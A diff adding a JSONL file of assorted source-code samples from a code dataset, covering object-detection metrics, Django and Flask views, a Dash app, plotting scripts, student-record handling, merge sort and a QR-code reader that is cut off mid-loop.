diff --git "a/4464.jsonl" "b/4464.jsonl" new file mode 100644--- /dev/null +++ "b/4464.jsonl" @@ -0,0 +1,712 @@ +{"seq_id":"286580860","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 4 18:58:32 2018\n\n@author: YumingWu\n\"\"\"\nimport logging\nimport pdb\nimport numpy as np\n\nfrom object_detection.utils import object_detection_evaluation\nfrom object_detection.utils import label_map_util\nfrom object_detection.utils import per_image_evaluation\n\nfrom object_detection.utils import np_box_list\nfrom object_detection.utils import np_box_list_ops\nfrom object_detection.utils import np_box_mask_list\nfrom object_detection.utils import np_box_mask_list_ops\n\nclass ButterflyEvaluator(object_detection_evaluation.ObjectDetectionEvaluator):\n \n def __init__(self,\n categories,\n matching_iou_threshold=0.5,\n score_thresh=0.5):\n \"\"\"Constructor.\n\n Args:\n categories: A list of dicts, each of which has the following keys -\n 'id': (required) an integer id uniquely identifying this category.\n 'name': (required) string representing category name e.g., 'cat', 'dog'.\n matching_iou_threshold: IOU threshold to use for matching groundtruth\n boxes to detection boxes.\n score_thresh: score threshold to use for determining valid detection.\n \"\"\"\n super(ButterflyEvaluator, self).__init__(\n categories,\n matching_iou_threshold,\n metric_prefix='Butterfly')\n \n self.score_thresh = score_thresh\n self._evaluation = ObjectDetectionEvaluation(\n num_groundtruth_classes=self._num_classes,\n matching_iou_threshold=self._matching_iou_threshold,\n use_weighted_mean_ap=self._use_weighted_mean_ap,\n label_id_offset=self._label_id_offset,\n score_thresh=self.score_thresh) \n\n def evaluate(self):\n \"\"\"Compute evaluation result.\n\n Returns:\n A dictionary of metrics with the following fields -\n\n 1. LOC + CLS:\n 'LOC_error@IOU': localization error considering \n classification and localization at the specified IOU threshold.\n \n 'meanPrecision', 'meanRecall', 'meanF1': mean precision, mean recall\n and mean F1 at the specified IOU threshold.\n \n 'PerformanceByCategory_Pr', 'PerformanceByCategory_Re', \n 'PerformanceByCategory_F1': category specific results with keys.\n \n 2. CLS:\n 'CLS_error': classification error for requiring at least one\n correct classification.\n\n 3. LOC\n 'meanIOU': mean IOU for all images.\n \"\"\" \n (loc_error, cls_error, mean_iou, pr_per_class, re_per_class, \n F1_per_class) = (self._evaluation.evaluate())\n mean_pr = np.nanmean(pr_per_class)\n mean_re = np.nanmean(re_per_class)\n mean_F1 = np.nanmean(F1_per_class)\n butterfly_metrics = {}\n butterfly_metrics[self._metric_prefix + 'meanPrecision'] = mean_pr\n butterfly_metrics[self._metric_prefix + 'meanRecall'] = mean_re\n butterfly_metrics[self._metric_prefix + 'meanF1'] = mean_F1\n category_index = label_map_util.create_category_index(self._categories)\n for idx in range(F1_per_class.size):\n if idx + self._label_id_offset in category_index:\n \n display_pr = (\n self._metric_prefix + 'PerformanceByCategory_Pr/Precision@{}IOU/{}'\n .format(self._matching_iou_threshold,\n category_index[idx + self._label_id_offset]['name']))\n butterfly_metrics[display_pr] = pr_per_class[idx]\n \n display_re = (\n self._metric_prefix + 'PerformanceByCategory_Re/Recall@{}IOU/{}'\n .format(self._matching_iou_threshold,\n category_index[idx + self._label_id_offset]['name']))\n butterfly_metrics[display_re] = re_per_class[idx]\n \n display_F1 = (\n self._metric_prefix + 'PerformanceByCategory_F1/F1@{}IOU/{}'\n .format(self._matching_iou_threshold,\n category_index[idx + self._label_id_offset]['name']))\n butterfly_metrics[display_F1] = F1_per_class[idx] \n butterfly_metrics[self._metric_prefix + \n 'LOC_error@{}IOU'.format(self._matching_iou_threshold)] = loc_error\n butterfly_metrics[self._metric_prefix + 'CLS_error'] = cls_error\n butterfly_metrics[self._metric_prefix + 'meanIOU'] = mean_iou \n \n return butterfly_metrics\n\n def clear(self):\n \"\"\"Clears the state to prepare for a fresh evaluation.\"\"\"\n self._evaluation = ObjectDetectionEvaluation(\n num_groundtruth_classes=self._num_classes,\n matching_iou_threshold=self._matching_iou_threshold,\n use_weighted_mean_ap=self._use_weighted_mean_ap,\n label_id_offset=self._label_id_offset)\n self._image_ids.clear()\n\nclass ObjectDetectionEvaluation(object_detection_evaluation.ObjectDetectionEvaluation):\n \"\"\"Implementation of butterfly metrics\"\"\"\n \n def __init__(self,\n num_groundtruth_classes,\n matching_iou_threshold=0.5,\n nms_iou_threshold=1.0,\n nms_max_output_boxes=10000,\n use_weighted_mean_ap=False,\n label_id_offset=0,\n score_thresh=0.5): \n super(ObjectDetectionEvaluation, self).__init__(\n num_groundtruth_classes,\n matching_iou_threshold,\n use_weighted_mean_ap,\n label_id_offset)\n \n self.per_image_eval = PerImageEvaluation(\n num_groundtruth_classes=num_groundtruth_classes,\n matching_iou_threshold=matching_iou_threshold,\n nms_iou_threshold=nms_iou_threshold,\n nms_max_output_boxes=nms_max_output_boxes)\n self.num_image_loc_error = 0\n self.num_image_cls_error_least = 0\n self.current_loc_error = 1\n self.iou = []\n self.precisions_per_class = np.empty(self.num_class, dtype=float)\n self.recalls_per_class = np.empty(self.num_class, dtype=float)\n self.F1_per_class = np.empty(self.num_class, dtype=float)\n self.precisions_per_class.fill(np.nan)\n self.recalls_per_class.fill(np.nan)\n self.F1_per_class.fill(np.nan)\n self.score_thresh = score_thresh\n\n def add_single_detected_image_info(self, image_key, detected_boxes,\n detected_scores, detected_class_labels,\n detected_masks=None):\n \"\"\"Adds detections for a single image to be used for evaluation.\n\n Args:\n image_key: A unique string/integer identifier for the image.\n detected_boxes: float32 numpy array of shape [num_boxes, 4]\n containing `num_boxes` detection boxes of the format\n [ymin, xmin, ymax, xmax] in absolute image coordinates.\n detected_scores: float32 numpy array of shape [num_boxes] containing\n detection scores for the boxes.\n detected_class_labels: integer numpy array of shape [num_boxes] containing\n 0-indexed detection classes for the boxes.\n detected_masks: np.uint8 numpy array of shape [num_boxes, height, width]\n containing `num_boxes` detection masks with values ranging\n between 0 and 1.\n\n Raises:\n ValueError: if the number of boxes, scores and class labels differ in\n length.\n \"\"\"\n detected_boxes = detected_boxes[np.where(np.max(detected_scores))]\n detected_class_labels = detected_class_labels[np.where(np.max(detected_scores))]\n detected_scores = detected_scores[np.where(np.max(detected_scores))]\n if (len(detected_boxes) != len(detected_scores) or\n len(detected_boxes) != len(detected_class_labels)):\n raise ValueError('detected_boxes, detected_scores and '\n 'detected_class_labels should all have same lengths. Got'\n '[%d, %d, %d]' % len(detected_boxes),\n len(detected_scores), len(detected_class_labels))\n\n if image_key in self.detection_keys:\n logging.warn(\n 'image %s has already been added to the detection result database',\n image_key)\n return\n\n self.detection_keys.add(image_key)\n if image_key in self.groundtruth_boxes:\n groundtruth_boxes = self.groundtruth_boxes[image_key]\n groundtruth_class_labels = self.groundtruth_class_labels[image_key]\n # Masks are popped instead of look up. The reason is that we do not want\n # to keep all masks in memory which can cause memory overflow.\n groundtruth_masks = self.groundtruth_masks.pop(\n image_key)\n groundtruth_is_difficult_list = self.groundtruth_is_difficult_list[\n image_key]\n groundtruth_is_group_of_list = self.groundtruth_is_group_of_list[\n image_key]\n else:\n groundtruth_boxes = np.empty(shape=[0, 4], dtype=float)\n groundtruth_class_labels = np.array([], dtype=int)\n if detected_masks is None:\n groundtruth_masks = None\n else:\n groundtruth_masks = np.empty(shape=[0, 1, 1], dtype=float)\n groundtruth_is_difficult_list = np.array([], dtype=bool)\n groundtruth_is_group_of_list = np.array([], dtype=bool)\n scores, tp_fp_labels, is_class_correctly_detected_in_image = (\n self.per_image_eval.compute_object_detection_metrics(\n detected_boxes=detected_boxes,\n detected_scores=detected_scores,\n detected_class_labels=detected_class_labels,\n groundtruth_boxes=groundtruth_boxes,\n groundtruth_class_labels=groundtruth_class_labels,\n groundtruth_is_difficult_list=groundtruth_is_difficult_list,\n groundtruth_is_group_of_list=groundtruth_is_group_of_list,\n detected_masks=detected_masks,\n groundtruth_masks=groundtruth_masks))\n iou_per_image = self.per_image_eval.compute_loc_metrics(\n detected_boxes=detected_boxes, groundtruth_boxes=groundtruth_boxes)\n cls_error_per_image = self.per_image_eval.compute_cls_metrics(\n detected_class_labels=detected_class_labels,\n groundtruth_class_labels=groundtruth_class_labels)\n self.num_image_cls_error_least += cls_error_per_image\n self.iou += iou_per_image\n if ~is_class_correctly_detected_in_image.any():\n self.current_loc_error = 1\n print(image_key)\n else:\n self.current_loc_error = 0\n self.num_image_loc_error += int(~is_class_correctly_detected_in_image.any())\n for i in range(self.num_class):\n if scores[i].shape[0] > 0:\n self.scores_per_class[i].append(scores[i])\n self.tp_fp_labels_per_class[i].append(tp_fp_labels[i])\n (self.num_images_correctly_detected_per_class\n ) += is_class_correctly_detected_in_image\n \n def evaluate(self):\n mean_iou = np.nanmean(self.iou)\n if len(self.detection_keys) > 0:\n loc_error = self.num_image_loc_error / len(self.detection_keys)\n cls_error = self.num_image_cls_error_least / len(self.detection_keys)\n else:\n loc_error = 0\n cls_error = 0\n for class_index in range(self.num_class):\n if self.num_gt_instances_per_class[class_index] == 0:\n continue\n if not self.tp_fp_labels_per_class[class_index]:\n tp_fp_labels = np.array([], dtype=bool)\n else:\n tp_fp_labels = np.concatenate(self.tp_fp_labels_per_class[class_index])\n tp = np.nansum(tp_fp_labels)\n fp = len(tp_fp_labels) - tp\n precision = tp / (tp + fp)\n recall = tp / self.num_gt_instances_per_class[class_index]\n F1 = 2 * precision * recall / (precision + recall)\n self.precisions_per_class[class_index] = precision\n self.recalls_per_class[class_index] = recall\n self.F1_per_class[class_index] = F1\n assert (loc_error <= 1 and cls_error <= 1), \"num_image_loc_error is wrong\"\n return (loc_error, cls_error, mean_iou, self.precisions_per_class,\n self.recalls_per_class, self.F1_per_class)\n\nclass PerImageEvaluation(per_image_evaluation.PerImageEvaluation):\n \"\"\"Evaluate detection result of a single image.\"\"\"\n \n def __init__(self,\n num_groundtruth_classes,\n matching_iou_threshold=0.5,\n nms_iou_threshold=0.3,\n nms_max_output_boxes=50):\n \n super(PerImageEvaluation, self).__init__(\n num_groundtruth_classes,\n matching_iou_threshold,\n nms_iou_threshold,\n nms_max_output_boxes)\n\n def _compute_is_class_correctly_detected_in_image(\n self, detected_boxes, detected_scores, groundtruth_boxes,\n detected_masks=None, groundtruth_masks=None):\n \"\"\"Compute CorLoc score for a single class.\n\n Args:\n detected_boxes: A numpy array of shape [N, 4] representing detected box\n coordinates\n detected_scores: A 1-d numpy array of length N representing classification\n score\n groundtruth_boxes: A numpy array of shape [M, 4] representing ground truth\n box coordinates\n detected_masks: (optional) A np.uint8 numpy array of shape\n [N, height, width]. If not None, the scores will be computed based\n on masks.\n groundtruth_masks: (optional) A np.uint8 numpy array of shape\n [M, height, width].\n\n Returns:\n is_class_correctly_detected_in_image: An integer 1 or 0 denoting whether a\n class is correctly detected in the image or not\n \"\"\"\n if detected_boxes.size > 0:\n if groundtruth_boxes.size > 0:\n for idx in range(len(detected_scores)):\n mask_mode = False\n if detected_masks is not None and groundtruth_masks is not None:\n mask_mode = True\n if mask_mode:\n detected_boxlist = np_box_mask_list.BoxMaskList(\n box_data=np.expand_dims(detected_boxes[idx], axis=0),\n mask_data=np.expand_dims(detected_masks[idx], axis=0))\n gt_boxlist = np_box_mask_list.BoxMaskList(\n box_data=groundtruth_boxes, mask_data=groundtruth_masks)\n iou = np_box_mask_list_ops.iou(detected_boxlist, gt_boxlist)\n else:\n detected_boxlist = np_box_list.BoxList(\n np.expand_dims(detected_boxes[idx, :], axis=0))\n gt_boxlist = np_box_list.BoxList(groundtruth_boxes)\n iou = np_box_list_ops.iou(detected_boxlist, gt_boxlist)\n if np.max(iou) >= self.matching_iou_threshold:\n return 1\n return 0\n\n def compute_loc_metrics(self, detected_boxes, groundtruth_boxes):\n \"\"\"compute localization results for a single image.\n \n Args:\n detected_boxes: A float numpy array of shape [N, 4], representing N\n regions of detected object regions.\n Each row is of the format [y_min, x_min, y_max, x_max] \n groundtruth_boxes: A float numpy array of shape [M, 4], representing M\n regions of object instances in ground truth\n \n Returns:\n loc_error_loc: An integer 1 or 0 denoting whether at least one box is \n correctly localized in the image or not\n iou_max: A list of float representing the max iou of each detected box.\n If no detected boxes in the image, it will return a list with a single\n float 0.0\n tp_box: An integer denoting number of TP boxes\n fp_box: An integer denoting number of FP boxes. If two or more detected\n boxes correspond to one groundtruth box, then one is denoted as TP, \n others are denoted as FP.\n \"\"\"\n iou_max = []\n if detected_boxes.size > 0:\n detected_boxlist = np_box_list.BoxList(detected_boxes)\n gt_boxlist = np_box_list.BoxList(groundtruth_boxes)\n iou = np.max(np_box_list_ops.iou(detected_boxlist, gt_boxlist))\n iou_max.append(iou)\n else:\n iou_max.append(0)\n return iou_max\n \n def compute_cls_metrics(self, detected_class_labels, groundtruth_class_labels):\n \"\"\"compute classification results for a single image.\n \n Args:\n detected_class_labels: A integer numpy array of shape [N, 1], repreneting\n the class labels of the detected N object instances. \n groundtruth_class_labels: An integer numpy array of shape [M, 1],\n representing M class labels of object instances in ground truth\n \n Returns:\n cls_error_least: An integer 1 or 0 denoting whether at least one class \n label is correctly detected in the image or not\n cls_error_all: An integer 1 or 0 denoting whether all class labels are\n correctly detected in the image or not\n \"\"\" \n cls_error_least = 1\n if detected_class_labels.size > 0:\n detected = set(detected_class_labels)\n groundtruth = set(groundtruth_class_labels)\n if len(detected & groundtruth) > 0:\n cls_error_least = 0\n return cls_error_least","sub_path":"Butterfly_Classification/metrics/butterfly_evaluation.py","file_name":"butterfly_evaluation.py","file_ext":"py","file_size_in_byte":16564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"251490549","text":"from django import forms\nfrom code_essay.models import Article\n\n\nclass ArticleForm(forms.ModelForm):\n\n class Meta:\n model = Article\n fields = ('contents', 'category', 'title', 'is_open')\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for key, field in self.fields.items():\n if key == 'contents':\n class_name = ''\n id_name = 'js-article__textarea'\n elif key == 'category':\n class_name = ''\n id_name = ''\n elif key == 'title':\n class_name = ''\n id_name = ''\n elif key == 'is_open':\n class_name = ''\n id_name = ''\n field.widget.attrs.update({\n 'class': class_name,\n 'id': id_name,\n })\n","sub_path":"code_essay/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"222065008","text":"import os\nimport sys\nimport pathlib\nimport argparse\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom parse_output_file import get_avg_max_cycles, get_avg_host_runtime, get_avg_prepostproc_time\n\n\"\"\"\nDefines which files to parse for this graph, format is:\n\t 'test file' : ('# dpus', '# tasklets')\n\"\"\"\nfiles = {'terror2': ('1', '4'), \n 'plrabn12': ('1', '15'), \n\t\t'world192': ('3', '12'),\n\t\t'xml' : ('14', '12'), \n\t\t'sao' : ('19', '12'),\n\t\t'dickens' : ('26', '12'),\n\t\t'nci' : ('86', '12'), \n\t\t'mozilla' : ('131', '12'), \n\t\t'spamfile': ('230', '12')}\n\n\ndef setup_graph(path: pathlib.Path):\n\t\"\"\"\n\tParse the output files and create the graph\n\n\t:param path: Path holding output files\n\t\"\"\"\n\t# Loop through directory for respective output files and parse them\n\tdpu_time = []\n\thost_time = []\n\tfor filename in files:\n\t\tparams = files[filename]\n\n\t\tahr = get_avg_host_runtime(path, filename)\n\t\tadr = get_avg_max_cycles(path, filename, params[0], params[1])\n\n\t\tif ahr is -1:\n\t\t\tprint(f\"ERROR: File not found fo host: {filename}.\", file=sys.stderr)\n\t\t\treturn\n\t\telif adr is -1:\n\t\t\tprint(f\"ERROR: File not found for DPU: {filename} with {params[0]} dpus and {params[1]} tasklets.\", file=sys.stderr)\n\t\t\treturn\n\t\telse:\n\t\t\thost_time.append(ahr)\n\t\t\tdpu_time.append(float(adr) / 267000000 + get_avg_prepostproc_time(path, filename, params[0], params[1]))\n\n\t# Calculate the speedup\n\tspeedup = []\n\tfor i in range (0, len(files)):\n\t\tif host_time[i] < dpu_time[i]:\n\t\t\tspeedup.append((host_time[i] / dpu_time[i] - 1) * 100)\n\t\telse:\n\t\t\tspeedup.append((host_time[i] / dpu_time[i]) * 100)\n\n\t# Print for easy debugging\n\tprint(host_time)\n\tprint(dpu_time)\n\tprint(speedup)\n\n\t# Set up plot\n\tplt.rc('font', size=12)\n\tplt.rc('axes', titlesize=12)\n\tplt.rc('axes', labelsize=12)\n\tfig, ax = plt.subplots()\n\n\t# y-axis labels\n\tyticks = np.arange(len(files))\n\tax.set_yticks(yticks)\n\tax.set_yticklabels(files)\n\n\t# x-axis labels\n\txticks = np.arange(-100, 800, step=50)\n\tax.set_xticks(xticks)\n\tax.set_xlabel('Speedup Over Host Application (%)')\n\tax.xaxis.grid(True, linestyle=\"dotted\")\n\n\tax.barh(yticks, speedup, color=list(map(lambda x: '#d35e60' if (x < 0) else '#84ba5b', speedup)))\n\n\tplt.show()\n\n\n\nif __name__ == \"__main__\":\n\t# Get the output file directory path\n\tparser = argparse.ArgumentParser(description='Create graph of DPU speedup over host')\n\trequiredArgs = parser.add_argument_group('required arguments')\n\trequiredArgs.add_argument('PATH', help='directory holding output files to parse')\n\n\targs = parser.parse_args()\n\tpath = pathlib.Path(args.PATH)\n\tif not path.is_dir():\n\t\traise argparse.ArgumentTypeError(f\"{path} is not a valid path\")\n\n\tsetup_graph(path)\n","sub_path":"snappy/scripts/host_speedup.py","file_name":"host_speedup.py","file_ext":"py","file_size_in_byte":2664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"233824257","text":"\n\nclass Student:\n L=[]\n\n def __init__(self,a,b,c):\n self.name=a\n self.age=b\n self.score=c\n\n @classmethod\n def input1(cls):\n while True:\n a=input(\"姓名:\")\n if not a:\n break\n try: \n b=int(input(\"年龄:\"))\n c=int(input(\"成绩:\"))\n cls.L.append(Student(a,b,c))\n except ValueError:\n print(\"您输入有误,请重新输入\")\n continue\n\n @classmethod \n def print1(cls):\n print('+---------------+----------+----------+')\n print('| name | age | score |')\n print('+---------------+----------+----------+')\n for d in cls.L:\n line='|'+d.name.center(15)+'|'+str(d.age).center(10)+'|'+str(d.score).center(10)+'|'\n print(line)\n print('+---------------+----------+----------+')\n\n @classmethod\n def sc(cls):\n a=input(\"姓名:\")\n for i,d in enumerate(cls.L):\n if d.name==a:\n del cls.L[i]\n print(\"删除成功\")\n return\n\n\n @classmethod\n def xg(cls):\n a=input(\"姓名\")\n b=int(input(\"年龄:\"))\n c=int(input(\"成绩:\"))\n for d in cls.L:\n if d.name==a:\n d.name=a\n d.age=b\n d.score=c\n\n @classmethod\n def cjg(cls):\n cls.L= sorted(cls.L,key=lambda d: d.score,\n reverse=True)\n\n\n @classmethod\n def cjd(cls):\n for d in cls.L:\n cls.L.sort(key=lambda d:d.score)\n \n\n @classmethod\n def nlg(cls):\n for d in cls.L:\n cls.L.sort(key=lambda d:d.age,reverse=True)\n\n\n @classmethod\n def nld(cls):\n for d in cls.L:\n cls.L.sort(key=lambda d:d.age)\n\n\n @classmethod\n def read_from_file(cls):\n l=[]\n try:\n f=open('si.txt','r')\n for line in f:\n line=line.strip()#去掉'\\n'\n lines=line.split(',')\n a,b,c,=lines\n b=int(b)\n c=int(c)\n l.append(dict(name=a,\n age=b,\n score=c))\n f.close()\n print(\"读取文件成功\")\n except OSError:\n print('打开文件失败')\n return l\n\n @classmethod\n def save_to_file(cls):\n try:\n f=open('si.txt','w')\n for d in cls.L:\n f.write(d.name)\n f.write(',')\n f.write(str(d.age))\n f.write(',')\n f.write(str(d.score))\n f.write('\\n')\n f.close()\n print(\"保存文件成功\")\n except OSError:\n print('保存文件失败')\n\n\n\n","sub_path":"pbase/day19/xues/Student.py","file_name":"Student.py","file_ext":"py","file_size_in_byte":2844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"87519857","text":"inStr = input(\"Enter a sentence for pangram-checking:\")\ninStr = inStr.strip()\nword = []\nletters = []\n\nfor i in range(len(inStr)):\n if inStr[i].isalpha():\n if inStr[i] not in letters:\n letters.append(inStr[i])\n \nif len(letters) == 26:\n print(\"\\\"\",inStr,\"\\\" is a pangram\")\nelse:\n print(\"\\\"\",inStr,\"\\\" is a NOT pangram\")","sub_path":"Quizs/Quiz-9-Part-2.py","file_name":"Quiz-9-Part-2.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"177750278","text":"#!/usr/bin/env python\n# google code jam 2011\n# round 1, problem a\n# Joseph Lee \n# 5/6/11\n\nclass Robot:\n def __init__(self, name, dest_ls):\n self.name=name # name 'Orange' or 'Blue'\n self.pos=1 # current position\n self.dest=dest_ls # destination list-queue of ints\n \n\n # time elapse method, main call. returns pos of button if pushed, else None\n # if 'push' param is set to True, push button asap\n def elapse(self, push = False):\n if len(self.dest) < 1:\n return -1\n if self.pos > self.dest[0]:\n self.pos = self.pos - 1\n elif self.pos < self.dest[0]:\n self.pos = self.pos + 1\n else: # at destination and order to push asap\n if push == True:\n return self.dest.pop(0) # button pushed\n return None\n\n \n","sub_path":"Robot/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"282843450","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nget_ipython().system('python -m venv ./immi-env')\n\n\n# In[2]:\n\n\nget_ipython().system('source ./immi-env/bin/activate')\n\n\n# In[3]:\n\n\n#!pip install path.py\n#export PYTHONPATH=\"${PYTHONPATH}:/Users/imanbehzadian/Documents/Python/Google photos/ImmiAlbum/\"\nimport os\nfrom os import path\n#os.getcwd()\n#sys.path.append('/Users/imanbehzadian/Documents/Python/Google photos/ImmiAlbum/')\n\n\n# In[3]:\n\n\nfrom math import ceil\nfrom numpy import array_split\n\nimport APIconnect as APIc\nimport GooglePhotosSearch as GP\nimport PJsonConverter\nimport slidePopulator as SP\n\n\n# In[4]:\n\n\nget_ipython().system('pip freeze > requirement.txt')\n\n#!pip intalled -r requirement.txt # to use the requirement file for pip\n\n\n# In[8]:\n\n\n\ndef main():\n \"\"\"Shows basic usage of the Drive v3 API and google photos API.\n Create an album on google slide by direct API connections between google photos and slides. \n it will have 4 picutres per page with the picture description underneath and with google map \n API in the corner to show the location and a timeline.\n \"\"\"\n\n \n SCOPES = ['https://www.googleapis.com/auth/presentations','https://www.googleapis.com/auth/photoslibrary.readonly']\n PRESENTATION_ID = '1YC3cDTJ0T2n0CYXKvtNTCccblIDkwUVjP28z4YMQWyU'\n album_title = 'Naghiman'\n \n creds = APIc.creds_gen(SCOPES)\n service = APIc.APIconnection(creds,PRESENTATION_ID,album_title) \n service.connection_refresh()\n \n request_body = {\n 'albumId': service.ALBUM_ID,\n 'pageSize': 100\n }\n\n\n df_search_result = GP.response_media_items_by_filter(service.google_photos,request_body)\n photo_desc = df_search_result[df_search_result['description'].isna() == False].head(20)\n x,_ = photo_desc.shape\n page_count = ceil(x/4)\n photo_sets = array_split(photo_desc,page_count)\n SP.Duplicator(service.google_slides,service.PRESENTATION_ID,service.PAGE_ID,page_count)\n\n for i in range(page_count):\n SP.Replacer(service.google_slides,service.PRESENTATION_ID,photo_sets[i],i+2)\n return None\n\n\n# In[9]:\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"immiAlbum.py","file_name":"immiAlbum.py","file_ext":"py","file_size_in_byte":2138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"74394440","text":"# Uses merge sort to count pairs in O(nlogn)\n\n\nlength = int(input())\narray = input().split()\narray = list(map(int, array))\n\ndef pair_merge_sort(arr: list, n: int, count: int=None):\n if n <= 1:\n return arr, count\n\n a_length = n // 2\n b_length = n - n //2\n\n if count is None:\n count = 0\n\n a, count = pair_merge_sort(arr[:n // 2], a_length, count)\n b, count = pair_merge_sort(arr[n // 2:], b_length, count)\n c = []\n\n while a or b:\n if not b:\n c.append(a.pop(0))\n elif not a:\n c.append(b.pop(0))\n else:\n if a[0] < b[0]:\n c.append(a.pop(0))\n else:\n c.append(b.pop(0))\n count += len(a)\n\n return c, count\n\nsort, pairs = pair_merge_sort(array, length)\nprint(pairs)\n","sub_path":"assignment2/problem1/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"24003910","text":"\n\nfrom xai.brain.wordbase.adjectives._dusky import _DUSKY\n\n#calss header\nclass _DUSKIEST(_DUSKY, ):\n\tdef __init__(self,): \n\t\t_DUSKY.__init__(self)\n\t\tself.name = \"DUSKIEST\"\n\t\tself.specie = 'adjectives'\n\t\tself.basic = \"dusky\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/adjectives/_duskiest.py","file_name":"_duskiest.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"31025976","text":"import dash\nimport dash_bootstrap_components as dbc\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output\n\nfrom app import app, dashapp\n\nimport dash_.data, dash_.scatter, dash_.map, dash_.Box_Plot\n\n# the styles for the main content position it to the right of the sidebar and\n# add some padding.\nCONTENT_STYLE = {\n\n}\n\ncontent = html.Div(id=\"page-content\", style=CONTENT_STYLE)\n\ndashapp.layout = html.Div([dcc.Location(id=\"url\"), content])\n\n\n@dashapp.callback(Output(\"page-content\", \"children\"), [Input(\"url\", \"pathname\")])\ndef render_page_content(pathname):\n\n if pathname == \"/dash\":\n #return homelayout\n return scatter.layout\n elif pathname == \"/dash/scatter\":\n return scatter.layout\n elif pathname == \"/dash/maps\":\n return map.layout\n elif pathname == \"/dash/boxplots\":\n return Box_Plot.layout\n # If the user tries to reach a different page, return a 404 message\n return dbc.Jumbotron(\n [\n html.H1(\"404: Not found\", className=\"text-danger\"),\n html.Hr(),\n html.P(f\"The pathname {pathname} was not recognised...\"),\n ]\n )\n","sub_path":"dash_/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"104847914","text":"#!/usr/bin/python3\n\"\"\"RestFul API actions Amenity\n\"\"\"\n\nfrom api.v1.views import app_views\nfrom flask import abort, jsonify, request, make_response\nfrom models import storage\nfrom models.place import Place\nfrom models.city import City\nfrom models.user import User\n\n\n@app_views.route('/cities//places', methods=['GET'],\n strict_slashes=False)\ndef places_all(city_id=None):\n \"\"\"Retrieves the list of all Place objects\n \"\"\"\n city = storage.get('City', city_id)\n places_list = []\n if city:\n for place in city.places:\n places_list.append(place.to_dict())\n return jsonify(places_list)\n else:\n abort(404)\n\n\n@app_views.route('/places/', methods=['GET'], strict_slashes=False)\ndef places_id(place_id=None):\n \"\"\"Retrieves the list of all Place objects\n \"\"\"\n place = storage.get('Place', place_id)\n if place:\n return jsonify(place.to_dict())\n abort(404)\n\n\n@app_views.route('/places/', methods=['DELETE'],\n strict_slashes=False)\ndef delete_place(place_id=None):\n \"\"\"Deletes a place object\n \"\"\"\n place = storage.get('Place', place_id)\n if place:\n storage.delete(place)\n storage.save()\n return make_response(jsonify({}), 200)\n return abort(404)\n\n\n@app_views.route('/cities//places', methods=['POST'],\n strict_slashes=False)\ndef post_places(city_id=None):\n \"\"\"Creates a place\n \"\"\"\n dict_json = request.get_json()\n if not dict_json:\n return make_response(jsonify({'error': 'Not a JSON'}), 400)\n if 'user_id' not in request.get_json():\n return make_response(jsonify({'error': 'Missing user_id'}), 400)\n if 'name' not in dict_json:\n return make_response(jsonify({'error': 'Missing name'}), 400)\n\n cities = storage.get('City', city_id)\n users = storage.get('User', dict_json['user_id'])\n if cities and users:\n new_place = Place(**dict_json)\n new_place.city_id = cities.id\n storage.new(new_place)\n storage.save()\n return make_response(jsonify(new_place.to_dict()), 201)\n return abort(404)\n\n\n@app_views.route('/places/', methods=['PUT'], strict_slashes=False)\ndef put_places(place_id=None):\n \"\"\"Updates a place object\n \"\"\"\n dict_json = request.get_json()\n if not dict_json:\n return make_response(jsonify({'error': 'Not a JSON'}), 400)\n places_obj = storage.get('Place', place_id)\n ignore = ['id', 'user_id', 'city_id', 'created_at', 'updated_at']\n if places_obj:\n for key, value in dict_json.items():\n if key not in ignore:\n setattr(places_obj, key, value)\n storage.save()\n return make_response(jsonify(places_obj.to_dict()), 200)\n else:\n return abort(404)\n","sub_path":"api/v1/views/places.py","file_name":"places.py","file_ext":"py","file_size_in_byte":2810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"205184568","text":"# -*- coding: utf-8 -*-\n\n# import the necessary packages\nfrom imutils.video import VideoStream\nfrom pyzbar import pyzbar\nimport argparse\nimport datetime\nimport imutils\nimport time\nimport cv2\n\ndef readQR():\n\t# construct the argument parser and parse the arguments\n\tap = argparse.ArgumentParser()\n\tap.add_argument(\"-o\", \"--output\", type=str, default=\"barcodes.csv\",\n\t\thelp=\"path to output CSV file containing barcodes\")\n\targs = vars(ap.parse_args())\n\t# initialize the video stream and allow the camera sensor to warm up\n\tprint(\"[INFO] starting video stream...\")\n\t# vs = VideoStream(src=0).start()\n\tvs = VideoStream(usePiCamera=True).start()\n\ttime.sleep(2.0)\n\n# open the output CSV file for writing and initialize the set of\n# barcodes found thus far\n\tcsv = open(args[\"output\"], \"w\")\n\tfound = set()\n# loop over the frames from the video stream\n\tbarcodes=[]\n\twhile True:\n# grab the frame from the threaded video stream and resize it to\n# have a maximum width of 400 pixels\n\t\tframe = 